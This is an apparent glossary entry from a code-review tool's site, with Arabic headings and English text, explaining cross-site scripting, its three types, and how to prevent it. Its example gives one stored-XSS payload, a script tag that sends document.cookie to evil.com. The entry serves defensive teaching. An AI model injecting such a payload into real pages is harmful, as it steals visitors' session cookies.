. When other users view the comment, their cookies are stolen."}}]}
العودة إلى القاموس
الأمان

XSS (Cross-Site Scripting)

A security vulnerability that allows attackers to inject malicious scripts into web pages viewed by other users, potentially stealing session cookies, credentials, or performing actions on behalf of victims.

التعريف

XSS attacks occur when an application includes untrusted data in a web page without proper validation or escaping. Three main types exist: Stored XSS (malicious script permanently stored on target server), Reflected XSS (script reflected off web server in error messages or search results), and DOM-based XSS (vulnerability exists in client-side code). XSS is ranked #7 in OWASP Top 10.

لماذا هو مهم

XSS attacks can steal user sessions, deface websites, redirect users to malicious sites, and spread malware. Major companies like Twitter, Facebook, and Google have all had XSS vulnerabilities discovered. Prevention requires output encoding, Content Security Policy (CSP), and automated scanning in code reviews.

مثال

A comment system displays user input without escaping. An attacker posts: <script>document.location="http://evil.com/?c="+document.cookie</script>. When other users view the comment, their cookies are stolen.

المصطلحات ذات الصلة

XSScross-site scriptingwhat is XSSXSS attackXSS vulnerability

أتمتة مراجعة الكود مع diffray

نظام ذكاء اصطناعي متعدد الوكلاء لمراجعة الكود. يجد الأخطاء والثغرات الأمنية ومشاكل البنية تلقائياً.